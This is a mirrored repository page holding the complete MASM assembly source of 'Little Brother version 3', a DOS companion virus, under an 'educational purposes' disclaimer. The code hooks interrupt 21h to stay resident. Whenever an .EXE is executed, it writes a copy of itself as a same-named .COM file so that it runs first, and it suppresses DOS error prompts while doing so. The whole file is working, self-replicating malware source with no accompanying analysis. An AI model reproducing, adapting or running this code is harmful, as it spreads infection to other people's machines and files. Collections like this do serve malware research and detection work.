mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-25 16:38:38 +00:00
257 lines
8.0 KiB
NASM
257 lines
8.0 KiB
NASM
;****************************************************************************
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;* Little Brother version 3
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;*
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;* Compile with MASM 4.0
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;* (other assemblers will probably not produce the same result)
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;*
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;* Disclaimer:
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;* This file is only for educational purposes. The author takes no
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;* responsibility for anything anyone does with this file. Do not
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;* modify this file!
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;****************************************************************************
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cseg segment
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assume cs:cseg,ds:cseg,es:nothing
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.RADIX 16
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FILELEN equ end - begin
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oi21 equ end
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nameptr equ end+4
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;****************************************************************************
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;* Install the program!
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;****************************************************************************
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org 100h
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begin: cld
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mov sp,300
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mov ax,0044h ;move program to empty hole
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mov es,ax
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mov di,0100h
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mov si,di
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mov cx,FILELEN
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rep movsb
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mov ds,cx ;get original int21 vector
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mov si,0084h
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mov di,offset oi21
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mov dx,offset ni21
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lodsw
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cmp ax,dx ;already installed?
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je cancel
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stosw
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movsw
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push es ;set vector to new handler
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pop ds
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mov ax,2521h
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int 21h
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cancel: push cs ;restore segment registers
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pop ds
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push cs
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pop es
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mov bx,30 ;free memory
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mov ah,4A
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int 21
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mov es,ds:[002C] ;search filename in environment
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mov di,0
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mov ch,0FFh
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mov al,01
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repnz scasb
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inc di
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mov word ptr [nameptr],di
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mov word ptr [nameptr+2],es
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mov si,offset EXE_txt ;change extension to .EXE
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call change_ext
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push cs
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pop es
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mov bx,offset param ;make EXEC param. block
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mov [bx+4],cs
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mov [bx+8],cs
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mov [bx+0C],cs
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lds dx,dword ptr [nameptr]
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mov ax,4B00 ;execute .EXE program
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int 21
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mov ah,4Dh ;ask return code
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int 21
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mov ah,4Ch ;exit with same return code
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int 21
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;****************************************************************************
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;* EXEC parameter block
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;****************************************************************************
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param dw 0, 80, ?, 5C, ?, 6C, ?
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;****************************************************************************
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;* File-extensions
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;****************************************************************************
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EXE_txt db 'EXE',0
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COM_txt db 'COM',0
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;****************************************************************************
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;* Interupt handler 24
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;****************************************************************************
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ni24: mov al,03
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iret
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;****************************************************************************
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;* Interupt handler 21
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;****************************************************************************
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ni21: pushf
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push dx
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push bx
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push ax
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push ds
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push es
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cmp ax,4B00h ;execute ?
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jne exit
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doit: call infect
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exit: pop es
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pop ds
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pop ax
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pop bx
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pop dx
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popf
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jmp dword ptr cs:[oi21] ;call to old int-handler
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;****************************************************************************
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;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
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;****************************************************************************
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infect: cld
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mov word ptr cs:[nameptr],dx ;save the ptr to the filename
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mov word ptr cs:[nameptr+2],ds
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push cs
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pop ds
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call searchpoint
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mov si,offset EXE_txt ;is extension 'EXE'?
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mov cx,3
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rep cmpsb
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jnz return
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mov si,offset COM_txt ;change extension to COM
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call change_ext
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mov ax,3300h ;get ctrl-break flag
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int 21
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push dx
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cwd ;clear the flag
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inc ax
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push ax
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int 21
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mov ax,3524h ;get int24 vector
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int 21
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push bx
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push es
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push cs ;set int24 vec to new handler
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pop ds
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mov dx,offset ni24
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mov ah,25h
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push ax
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int 21
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lds dx,dword ptr [nameptr] ;create the virus (unique name)
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xor cx,cx
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mov ah,5Bh
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int 21
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jc return1
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xchg bx,ax ;save handle
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push cs
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pop ds
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mov cx,FILELEN ;write the virus
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mov dx,offset begin
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mov ah,40h
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int 21
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cmp ax,cx
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pushf
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mov ah,3Eh ;close the file
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int 21
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popf
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jz return1 ;all bytes written?
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lds dx,dword ptr [nameptr] ;no, delete the virus
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mov ah,41h
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int 21
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return1: pop ax ;restore int24 vector
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pop ds
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pop dx
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int 21
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pop ax ;restore ctrl-break flag
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pop dx
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int 21
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mov si,offset EXE_txt ;change extension to EXE
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call change_ext ;execute .EXE program
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return: ret
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;****************************************************************************
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;* change the extension of the filename (CS:SI -> ext)
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;****************************************************************************
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change_ext: call searchpoint
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push cs
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pop ds
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movsw
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movsw
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ret
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;****************************************************************************
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;* search begin of extension
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;****************************************************************************
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searchpoint: les di,dword ptr cs:[nameptr]
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mov ch,0FFh
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mov al,0
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repnz scasb
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sub di,4
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ret
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;****************************************************************************
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;* Text and Signature
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;****************************************************************************
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db 'Little Brother',0
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end:
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cseg ends
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end begin
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